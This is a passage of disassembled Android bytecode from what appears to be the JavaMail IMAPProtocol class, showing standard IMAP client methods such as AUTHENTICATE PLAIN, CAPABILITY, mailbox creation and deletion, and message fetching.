          .catch Exception {:12 .. :1E} :7E
          .catchall {:12 .. :1E} :13C
          .catchall {:24 .. :7A} :13C
          .catchall {:80 .. :86} :13C
          .catch Exception {:90 .. :12A} :12E
          .catchall {:90 .. :12A} :13C
          .catchall {:130 .. :136} :13C
.end method

.method public declared-synchronized authplain(String, String, String)V
          .registers 14
00000000  const/4                 v2, 0x0
00000002  const/4                 v1, 0x1
00000004  monitor-enter           p0
:6
00000006  new-instance            v4, Vector
0000000A  invoke-direct           Vector-><init>()V, v4
:10
00000010  const/4                 v0, 0x0
:12
00000012  const-string            v3, "AUTHENTICATE PLAIN"
00000016  const/4                 v5, 0x0
00000018  invoke-virtual          IMAPProtocol->writeCommand(String, Argument)String, p0, v3, v5
:1E
0000001E  move-result-object      v3
:20
00000020  invoke-virtual          IMAPProtocol->getOutputStream()OutputStream, p0
00000026  move-result-object      v5
00000028  new-instance            v6, ByteArrayOutputStream
0000002C  invoke-direct           ByteArrayOutputStream-><init>()V, v6
00000032  new-instance            v7, BASE64EncoderStream
00000036  const                   v8, 0x7FFFFFFF
0000003C  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, v7, v6, v8
:42
00000042  if-eqz                  v0, :86
:46
00000046  invoke-virtual          Vector->size()I, v4
0000004C  move-result             v0
0000004E  new-array               v0, v0, [Response
00000052  invoke-virtual          Vector->copyInto([Object)V, v4, v0
00000058  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000005E  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v2
00000064  invoke-virtual          IMAPProtocol->setCapabilities(Response)V, p0, v2
0000006A  const/4                 v0, 0x1
0000006C  iput-boolean            v0, p0, IMAPProtocol->authenticated:Z
:70
00000070  monitor-exit            p0
00000072  return-void
:74
00000074  move-exception          v0
:76
00000076  invoke-static           Response->byeResponse(Exception)Response, v0
:7C
0000007C  move-result-object      v0
0000007E  move-object             v3, v2
00000080  move-object             v2, v0
00000082  move                    v0, v1
00000084  goto                    :20
:86
00000086  invoke-virtual          IMAPProtocol->readResponse()Response, p0
0000008C  move-result-object      v2
0000008E  invoke-virtual          Response->isContinuation()Z, v2
00000094  move-result             v8
00000096  if-eqz                  v8, :12A
:9A
0000009A  const-string            v8, "\u0000"
0000009E  new-instance            v8, StringBuilder
000000A2  invoke-static           String->valueOf(Object)String, p1
000000A8  move-result-object      v9
000000AA  invoke-direct           StringBuilder-><init>(String)V, v8, v9
000000B0  const-string            v9, "\u0000"
000000B4  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000000BA  move-result-object      v8
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, p2
000000C2  move-result-object      v8
000000C4  const-string            v9, "\u0000"
000000C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000000CE  move-result-object      v8
000000D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, p3
000000D6  move-result-object      v8
000000D8  invoke-virtual          StringBuilder->toString()String, v8
000000DE  move-result-object      v8
000000E0  invoke-static           ASCIIUtility->getBytes(String)[B, v8
000000E6  move-result-object      v8
000000E8  invoke-virtual          OutputStream->write([B)V, v7, v8
000000EE  invoke-virtual          OutputStream->flush()V, v7
000000F4  sget-object             v8, IMAPProtocol->CRLF:[B
000000F8  invoke-virtual          ByteArrayOutputStream->write([B)V, v6, v8
000000FE  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v6
00000104  move-result-object      v8
00000106  invoke-virtual          OutputStream->write([B)V, v5, v8
0000010C  invoke-virtual          OutputStream->flush()V, v5
00000112  invoke-virtual          ByteArrayOutputStream->reset()V, v6
:118
00000118  goto                    :42
:11A
0000011A  move-exception          v0
:11C
0000011C  invoke-static           Response->byeResponse(Exception)Response, v0
:122
00000122  move-result-object      v0
00000124  move-object             v2, v0
00000126  move                    v0, v1
00000128  goto                    :42
:12A
0000012A  invoke-virtual          Response->isTagged()Z, v2
00000130  move-result             v8
00000132  if-eqz                  v8, :150
:136
00000136  invoke-virtual          Response->getTag()String, v2
0000013C  move-result-object      v8
0000013E  invoke-virtual          String->equals(Object)Z, v8, v3
00000144  move-result             v8
00000146  if-eqz                  v8, :150
:14A
0000014A  move                    v0, v1
0000014C  goto/16                 :42
:150
00000150  invoke-virtual          Response->isBYE()Z, v2
00000156  move-result             v8
00000158  if-eqz                  v8, :162
:15C
0000015C  move                    v0, v1
0000015E  goto/16                 :42
:162
00000162  invoke-virtual          Vector->addElement(Object)V, v4, v2
:168
00000168  goto/16                 :42
:16C
0000016C  move-exception          v0
0000016E  monitor-exit            p0
00000170  throw                   v0
          .catchall {:6 .. :10} :16C
          .catch Exception {:12 .. :1E} :74
          .catchall {:12 .. :1E} :16C
          .catchall {:20 .. :70} :16C
          .catchall {:76 .. :7C} :16C
          .catch Exception {:86 .. :118} :11A
          .catchall {:86 .. :118} :16C
          .catchall {:11C .. :122} :16C
          .catch Exception {:12A .. :168} :11A
          .catchall {:12A .. :168} :16C
.end method

.method public capability()V
          .registers 6
00000000  const-string            v0, "CAPABILITY"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
0000000C  move-result-object      v2
0000000E  array-length            v0, v2
00000010  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000014  aget-object             v0, v2, v0
00000018  invoke-virtual          Response->isOK()Z, v0
0000001E  move-result             v0
00000020  if-nez                  v0, :42
:24
00000024  new-instance            v0, ProtocolException
00000028  array-length            v1, v2
0000002A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000002E  aget-object             v1, v2, v1
00000032  invoke-virtual          Response->toString()String, v1
00000038  move-result-object      v1
0000003A  invoke-direct           ProtocolException-><init>(String)V, v0, v1
00000040  throw                   v0
:42
00000042  new-instance            v0, HashMap
00000046  const/16                v1, 0xA
0000004A  invoke-direct           HashMap-><init>(I)V, v0, v1
00000050  iput-object             v0, p0, IMAPProtocol->capabilities:Map
00000054  new-instance            v0, ArrayList
00000058  const/4                 v1, 0x5
0000005A  invoke-direct           ArrayList-><init>(I)V, v0, v1
00000060  iput-object             v0, p0, IMAPProtocol->authmechs:List
00000064  const/4                 v0, 0x0
00000066  array-length            v3, v2
00000068  move                    v1, v0
:6A
0000006A  if-lt                   v1, v3, :70
:6E
0000006E  return-void
:70
00000070  aget-object             v0, v2, v1
00000074  instance-of             v0, v0, IMAPResponse
00000078  if-nez                  v0, :84
:7C
0000007C  add-int/lit8            v0, v1, 0x1
00000080  move                    v1, v0
00000082  goto                    :6A
:84
00000084  aget-object             v0, v2, v1
00000088  check-cast              v0, IMAPResponse
0000008C  const-string            v4, "CAPABILITY"
00000090  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v4
00000096  move-result             v4
00000098  if-eqz                  v4, :7C
:9C
0000009C  invoke-virtual          IMAPProtocol->parseCapabilities(Response)V, p0, v0
000000A2  goto                    :7C
.end method

.method public check()V
          .registers 3
00000000  const-string            v0, "CHECK"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000000C  return-void
.end method

.method public close()V
          .registers 3
00000000  const-string            v0, "CLOSE"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000000C  return-void
.end method

.method public copy(I, I, String)V
          .registers 6
00000000  new-instance            v0, StringBuilder
00000004  invoke-static           String->valueOf(I)String, p1
0000000A  move-result-object      v1
0000000C  invoke-static           String->valueOf(Object)String, v1
00000012  move-result-object      v1
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  const-string            v1, ":"
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v0
00000026  invoke-static           String->valueOf(I)String, p2
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  invoke-virtual          StringBuilder->toString()String, v0
0000003C  move-result-object      v0
0000003E  invoke-direct           IMAPProtocol->copy(String, String)V, p0, v0, p3
00000044  return-void
.end method

.method public copy([MessageSet, String)V
          .registers 4
00000000  invoke-static           MessageSet->toString([MessageSet)String, p1
00000006  move-result-object      v0
00000008  invoke-direct           IMAPProtocol->copy(String, String)V, p0, v0, p2
0000000E  return-void
.end method

.method public create(String)V
          .registers 4
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000006  move-result-object      v0
00000008  new-instance            v1, Argument
0000000C  invoke-direct           Argument-><init>()V, v1
00000012  invoke-virtual          Argument->writeString(String)V, v1, v0
00000018  const-string            v0, "CREATE"
0000001C  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000022  return-void
.end method

.method public delete(String)V
          .registers 4
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000006  move-result-object      v0
00000008  new-instance            v1, Argument
0000000C  invoke-direct           Argument-><init>()V, v1
00000012  invoke-virtual          Argument->writeString(String)V, v1, v0
00000018  const-string            v0, "DELETE"
0000001C  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000022  return-void
.end method

.method public deleteACL(String, String)V
          .registers 5
00000000  const-string            v0, "ACL"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "ACL not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000026  move-result-object      v0
00000028  new-instance            v1, Argument
0000002C  invoke-direct           Argument-><init>()V, v1
00000032  invoke-virtual          Argument->writeString(String)V, v1, v0
00000038  invoke-virtual          Argument->writeString(String)V, v1, p2
0000003E  const-string            v0, "DELETEACL"
00000042  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000048  move-result-object      v0
0000004A  array-length            v1, v0
0000004C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000050  aget-object             v1, v0, v1
00000054  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000005A  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
00000060  return-void
.end method

.method public disconnect()V
          .registers 2
00000000  invoke-super            Protocol->disconnect()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-boolean            v0, p0, IMAPProtocol->authenticated:Z
0000000C  return-void
.end method

.method public examine(String)MailboxInfo
          .registers 5
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000006  move-result-object      v0
00000008  new-instance            v1, Argument
0000000C  invoke-direct           Argument-><init>()V, v1
00000012  invoke-virtual          Argument->writeString(String)V, v1, v0
00000018  const-string            v0, "EXAMINE"
0000001C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000022  move-result-object      v0
00000024  new-instance            v1, MailboxInfo
00000028  invoke-direct           MailboxInfo-><init>([Response)V, v1, v0
0000002E  const/4                 v2, 0x1
00000030  iput                    v2, v1, MailboxInfo->mode:I
00000034  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000003A  array-length            v2, v0
0000003C  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000040  aget-object             v0, v0, v2
00000044  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
0000004A  return-object           v1
.end method

.method public expunge()V
          .registers 3
00000000  const-string            v0, "EXPUNGE"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000000C  return-void
.end method

.method public fetch(I, I, String)[Response
          .registers 6
00000000  new-instance            v0, StringBuilder
00000004  invoke-static           String->valueOf(I)String, p1
0000000A  move-result-object      v1
0000000C  invoke-static           String->valueOf(Object)String, v1
00000012  move-result-object      v1
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  const-string            v1, ":"
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v0
00000026  invoke-static           String->valueOf(I)String, p2
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  invoke-virtual          StringBuilder->toString()String, v0
0000003C  move-result-object      v0
0000003E  const/4                 v1, 0x0
00000040  invoke-direct           IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, p3, v1
00000046  move-result-object      v0
00000048  return-object           v0
.end method

.method public fetch(I, String)[Response
          .registers 5
00000000  invoke-static           String->valueOf(I)String, p1
00000006  move-result-object      v0
00000008  const/4                 v1, 0x0
0000000A  invoke-direct           IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, p2, v1
00000010  move-result-object      v0
00000012  return-object           v0
.end method

.method public fetch([MessageSet, String)[Response
          .registers 5
00000000  invoke-static           MessageSet->toString([MessageSet)String, p1
00000006  move-result-object      v0
00000008  const/4                 v1, 0x0
0000000A  invoke-direct           IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, p2, v1
00000010  move-result-object      v0
00000012  return-object           v0
.end method

.method public fetchBody(I, String)BODY
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          IMAPProtocol->fetchBody(I, String, Z)BODY, p0, p1, p2, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public fetchBody(I, String, I, I)BODY
          .registers 12
00000000  const/4                 v5, 0x0
00000002  const/4                 v6, 0x0
00000004  move-object             v0, p0
00000006  move                    v1, p1
00000008  move-object             v2, p2
0000000A  move                    v3, p3
0000000C  move                    v4, p4
0000000E  invoke-virtual/range    IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method public fetchBody(I, String, I, I, ByteArray)BODY
          .registers 13
00000000  const/4                 v5, 0x0
00000002  move-object             v0, p0
00000004  move                    v1, p1
00000006  move-object             v2, p2
00000008  move                    v3, p3
0000000A  move                    v4, p4
0000000C  move-object             v6, p5
0000000E  invoke-virtual/range    IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method protected fetchBody(I, String, I, I, Z, ByteArray)BODY
          .registers 11
00000000  const/4                 v1, 0x0
00000002  iput-object             p6, p0, IMAPProtocol->ba:ByteArray
00000006  new-instance            v2, StringBuilder
0000000A  if-eqz                  p5, :A6
:E
0000000E  const-string            v0, "BODY.PEEK["
:12
00000012  invoke-static           String->valueOf(Object)String, v0
00000018  move-result-object      v0
0000001A  invoke-direct           StringBuilder-><init>(String)V, v2, v0
00000020  if-nez                  p2, :AC
:24
00000024  const-string            v0, "]<"
:28
00000028  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000002E  move-result-object      v0
00000030  invoke-static           String->valueOf(I)String, p3
00000036  move-result-object      v2
00000038  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000003E  move-result-object      v0
00000040  const-string            v2, "."
00000044  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000004A  move-result-object      v0
0000004C  invoke-static           String->valueOf(I)String, p4
00000052  move-result-object      v2
00000054  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000005A  move-result-object      v0
0000005C  const-string            v2, ">"
00000060  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000066  move-result-object      v0
00000068  invoke-virtual          StringBuilder->toString()String, v0
0000006E  move-result-object      v0
00000070  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
00000076  move-result-object      v0
00000078  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000007E  array-length            v2, v0
00000080  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000084  aget-object             v2, v0, v2
00000088  invoke-virtual          Response->isOK()Z, v2
0000008E  move-result             v3
00000090  if-eqz                  v3, :D4
:94
00000094  const-class             v1, BODY
00000098  invoke-static           FetchResponse->getItem([Response, I, Class)Item, v0, p1, v1
0000009E  move-result-object      v0
000000A0  check-cast              v0, BODY
:A4
000000A4  return-object           v0
:A6
000000A6  const-string            v0, "BODY["
000000AA  goto                    :12
:AC
000000AC  new-instance            v0, StringBuilder
000000B0  invoke-static           String->valueOf(Object)String, p2
000000B6  move-result-object      v3
000000B8  invoke-direct           StringBuilder-><init>(String)V, v0, v3
000000BE  const-string            v3, "]<"
000000C2  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
000000C8  move-result-object      v0
000000CA  invoke-virtual          StringBuilder->toString()String, v0
000000D0  move-result-object      v0
000000D2  goto                    :28
:D4
000000D4  invoke-virtual          Response->isNO()Z, v2
000000DA  move-result             v0
000000DC  if-eqz                  v0, :E4
:E0
000000E0  move-object             v0, v1
000000E2  goto                    :A4
:E4
000000E4  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v2
000000EA  move-object             v0, v1
000000EC  goto                    :A4
.end method

.method protected fetchBody(I, String, Z)BODY
          .registers 8
00000000  const/4                 v1, 0x0
00000002  if-eqz                  p3, :8A
:6
00000006  new-instance            v2, StringBuilder
0000000A  const-string            v0, "BODY.PEEK["
0000000E  invoke-direct           StringBuilder-><init>(String)V, v2, v0
00000014  if-nez                  p2, :62
:18
00000018  const-string            v0, "]"
:1C
0000001C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000022  move-result-object      v0
00000024  invoke-virtual          StringBuilder->toString()String, v0
0000002A  move-result-object      v0
0000002C  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
00000032  move-result-object      v0
:34
00000034  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000003A  array-length            v2, v0
0000003C  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000040  aget-object             v2, v0, v2
00000044  invoke-virtual          Response->isOK()Z, v2
0000004A  move-result             v3
0000004C  if-eqz                  v3, :E2
:50
00000050  const-class             v1, BODY
00000054  invoke-static           FetchResponse->getItem([Response, I, Class)Item, v0, p1, v1
0000005A  move-result-object      v0
0000005C  check-cast              v0, BODY
:60
00000060  return-object           v0
:62
00000062  new-instance            v0, StringBuilder
00000066  invoke-static           String->valueOf(Object)String, p2
0000006C  move-result-object      v3
0000006E  invoke-direct           StringBuilder-><init>(String)V, v0, v3
00000074  const-string            v3, "]"
00000078  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
0000007E  move-result-object      v0
00000080  invoke-virtual          StringBuilder->toString()String, v0
00000086  move-result-object      v0
00000088  goto                    :1C
:8A
0000008A  new-instance            v2, StringBuilder
0000008E  const-string            v0, "BODY["
00000092  invoke-direct           StringBuilder-><init>(String)V, v2, v0
00000098  if-nez                  p2, :BA
:9C
0000009C  const-string            v0, "]"
:A0
000000A0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000000A6  move-result-object      v0
000000A8  invoke-virtual          StringBuilder->toString()String, v0
000000AE  move-result-object      v0
000000B0  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
000000B6  move-result-object      v0
000000B8  goto                    :34
:BA
000000BA  new-instance            v0, StringBuilder
000000BE  invoke-static           String->valueOf(Object)String, p2
000000C4  move-result-object      v3
000000C6  invoke-direct           StringBuilder-><init>(String)V, v0, v3
000000CC  const-string            v3, "]"
000000D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
000000D6  move-result-object      v0
000000D8  invoke-virtual          StringBuilder->toString()String, v0
000000DE  move-result-object      v0
000000E0  goto                    :A0
:E2
000000E2  invoke-virtual          Response->isNO()Z, v2
000000E8  move-result             v0
000000EA  if-eqz                  v0, :F2
:EE
000000EE  move-object             v0, v1
000000F0  goto                    :60
:F2
000000F2  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v2
000000F8  move-object             v0, v1
000000FA  goto                    :60
.end method

.method public fetchBodyStructure(I)BODYSTRUCTURE
          .registers 6
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "BODYSTRUCTURE"
00000006  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v1
0000000C  move-result-object      v1
0000000E  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
00000014  array-length            v2, v1
00000016  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000001A  aget-object             v2, v1, v2
0000001E  invoke-virtual          Response->isOK()Z, v2
00000024  move-result             v3
00000026  if-eqz                  v3, :3C
:2A
0000002A  const-class             v0, BODYSTRUCTURE
0000002E  invoke-static           FetchResponse->getItem([Response, I, Class)Item, v1, p1, v0
00000034  move-result-object      v0
00000036  check-cast              v0, BODYSTRUCTURE
:3A
0000003A  return-object           v0
:3C
0000003C  invoke-virtual          Response->isNO()Z, v2
00000042  move-result             v1
00000044  if-nez                  v1, :3A
:48
00000048  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v2
0000004E  goto                    :3A
.end method

.method public fetchFlags(I)Flags
          .registers 8
00000000  const/4                 v3, 0x0
00000002  const-string            v0, "FLAGS"
00000006  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
0000000C  move-result-object      v4
0000000E  const/4                 v0, 0x0
00000010  array-length            v5, v4
00000012  move                    v2, v0
00000014  move-object             v1, v3
:16
00000016  if-lt                   v2, v5, :34
:1A
0000001A  move-object             v0, v1
:1C
0000001C  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
00000022  array-length            v1, v4
00000024  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000028  aget-object             v1, v4, v1
0000002C  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
00000032  return-object           v0
:34
00000034  aget-object             v0, v4, v2
00000038  if-eqz                  v0, :8A
:3C
0000003C  aget-object             v0, v4, v2
00000040  instance-of             v0, v0, FetchResponse
00000044  if-eqz                  v0, :8A
:48
00000048  aget-object             v0, v4, v2
0000004C  check-cast              v0, FetchResponse
00000050  invoke-virtual          FetchResponse->getNumber()I, v0
00000056  move-result             v0
00000058  if-eq                   v0, p1, :68
:5C
0000005C  move-object             v0, v1
:5E
0000005E  add-int/lit8            v1, v2, 0x1
00000062  move                    v2, v1
00000064  move-object             v1, v0
00000066  goto                    :16
:68
00000068  aget-object             v0, v4, v2
0000006C  check-cast              v0, FetchResponse
00000070  const-class             v1, Flags
00000074  invoke-virtual          FetchResponse->getItem(Class)Item, v0, v1
0000007A  move-result-object      v0
0000007C  check-cast              v0, Flags
00000080  if-eqz                  v0, :5E
:84
00000084  aput-object             v3, v4, v2
00000088  goto                    :1C
:8A
0000008A  move-object             v0, v1
0000008C  goto                    :5E
.end method

.method public fetchRFC822(I, String)RFC822DATA
          .registers 7
00000000  const/4                 v1, 0x0
00000002  if-nez                  p2, :40
:6
00000006  const-string            v0, "RFC822"
:A
0000000A  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
00000010  move-result-object      v0
00000012  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000018  array-length            v2, v0
0000001A  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000001E  aget-object             v2, v0, v2
00000022  invoke-virtual          Response->isOK()Z, v2
00000028  move-result             v3
0000002A  if-eqz                  v3, :60
:2E
0000002E  const-class             v1, RFC822DATA
00000032  invoke-static           FetchResponse->getItem([Response, I, Class)Item, v0, p1, v1
00000038  move-result-object      v0
0000003A  check-cast              v0, RFC822DATA
:3E
0000003E  return-object           v0
:40
00000040  new-instance            v0, StringBuilder
00000044  const-string            v2, "RFC822."
00000048  invoke-direct           StringBuilder-><init>(String)V, v0, v2
0000004E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
00000054  move-result-object      v0
00000056  invoke-virtual          StringBuilder->toString()String, v0
0000005C  move-result-object      v0
0000005E  goto                    :A
:60
00000060  invoke-virtual          Response->isNO()Z, v2
00000066  move-result             v0
00000068  if-eqz                  v0, :70
:6C
0000006C  move-object             v0, v1
0000006E  goto                    :3E
:70
00000070  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v2
00000076  move-object             v0, v1
00000078  goto                    :3E
.end method

.method public fetchSequenceNumber(J)UID
          .registers 10
00000000  const/4                 v1, 0x0
00000002  invoke-static           String->valueOf(J)String, p1, p2
00000008  move-result-object      v0
0000000A  const-string            v2, "UID"
0000000E  const/4                 v3, 0x1
00000010  invoke-direct           IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, v2, v3
00000016  move-result-object      v3
00000018  const/4                 v0, 0x0
0000001A  array-length            v4, v3
0000001C  move                    v2, v0
0000001E  move-object             v0, v1
:20
00000020  if-lt                   v2, v4, :3C
:24
00000024  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v3
0000002A  array-length            v1, v3
0000002C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000030  aget-object             v1, v3, v1
00000034  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
0000003A  return-object           v0
:3C
0000003C  aget-object             v5, v3, v2
00000040  if-eqz                  v5, :50
:44
00000044  aget-object             v5, v3, v2
00000048  instance-of             v5, v5, FetchResponse
0000004C  if-nez                  v5, :56
:50
00000050  add-int/lit8            v2, v2, 0x1
00000054  goto                    :20
:56
00000056  aget-object             v0, v3, v2
0000005A  check-cast              v0, FetchResponse
0000005E  const-class             v5, UID
00000062  invoke-virtual          FetchResponse->getItem(Class)Item, v0, v5
00000068  move-result-object      v0
0000006A  check-cast              v0, UID
0000006E  if-eqz                  v0, :50
:72
00000072  iget-wide               v5, v0, UID->uid:J
00000076  cmp-long                v5, v5, p1
0000007A  if-eqz                  v5, :24
:7E
0000007E  move-object             v0, v1
00000080  goto                    :50
.end method

.method public fetchSequenceNumbers(J, J)[UID
          .registers 11
00000000  new-instance            v0, StringBuilder
00000004  invoke-static           String->valueOf(J)String, p1, p2
0000000A  move-result-object      v1
0000000C  invoke-static           String->valueOf(Object)String, v1
00000012  move-result-object      v1
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  const-string            v1, ":"
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v1
00000026  const-wide/16           v2, 0xFFFFFFFFFFFFFFFF
0000002A  cmp-long                v0, p3, v2
0000002E  if-nez                  v0, :92
:32
00000032  const-string            v0, "*"
:36
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
0000003C  move-result-object      v0
0000003E  invoke-virtual          StringBuilder->toString()String, v0
00000044  move-result-object      v0
00000046  const-string            v1, "UID"
0000004A  const/4                 v2, 0x1
0000004C  invoke-direct           IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, v1, v2
00000052  move-result-object      v2
00000054  new-instance            v3, Vector
00000058  invoke-direct           Vector-><init>()V, v3
0000005E  const/4                 v0, 0x0
00000060  array-length            v4, v2
00000062  move                    v1, v0
:64
00000064  if-lt                   v1, v4, :9C
:68
00000068  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
0000006E  array-length            v0, v2
00000070  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000074  aget-object             v0, v2, v0
00000078  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
0000007E  invoke-virtual          Vector->size()I, v3
00000084  move-result             v0
00000086  new-array               v0, v0, [UID
0000008A  invoke-virtual          Vector->copyInto([Object)V, v3, v0
00000090  return-object           v0
:92
00000092  invoke-static           String->valueOf(J)String, p3, p4
00000098  move-result-object      v0
0000009A  goto                    :36
:9C
0000009C  aget-object             v0, v2, v1
000000A0  if-eqz                  v0, :B0
:A4
000000A4  aget-object             v0, v2, v1
000000A8  instance-of             v0, v0, FetchResponse
000000AC  if-nez                  v0, :B8
:B0
000000B0  add-int/lit8            v0, v1, 0x1
000000B4  move                    v1, v0
000000B6  goto                    :64
:B8
000000B8  aget-object             v0, v2, v1
000000BC  check-cast              v0, FetchResponse
000000C0  const-class             v5, UID
000000C4  invoke-virtual          FetchResponse->getItem(Class)Item, v0, v5
000000CA  move-result-object      v0
000000CC  check-cast              v0, UID
000000D0  if-eqz                  v0, :B0
:D4
000000D4  invoke-virtual          Vector->addElement(Object)V, v3, v0
000000DA  goto                    :B0
.end method

.method public fetchSequenceNumbers([J)[UID
          .registers 8
00000000  const/4                 v1, 0x0
00000002  new-instance            v2, StringBuffer
00000006  invoke-direct           StringBuffer-><init>()V, v2
0000000C  move                    v0, v1
:E
0000000E  array-length            v3, p1
00000010  if-lt                   v0, v3, :64
:14
00000014  invoke-virtual          StringBuffer->toString()String, v2
0000001A  move-result-object      v0
0000001C  const-string            v2, "UID"
00000020  const/4                 v3, 0x1
00000022  invoke-direct           IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, v2, v3
00000028  move-result-object      v2
0000002A  new-instance            v3, Vector
0000002E  invoke-direct           Vector-><init>()V, v3
00000034  array-length            v4, v2
:36
00000036  if-lt                   v1, v4, :8A
:3A
0000003A  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
00000040  array-length            v0, v2
00000042  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000046  aget-object             v0, v2, v0
0000004A  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
00000050  invoke-virtual          Vector->size()I, v3
00000056  move-result             v0
00000058  new-array               v0, v0, [UID
0000005C  invoke-virtual          Vector->copyInto([Object)V, v3, v0
00000062  return-object           v0
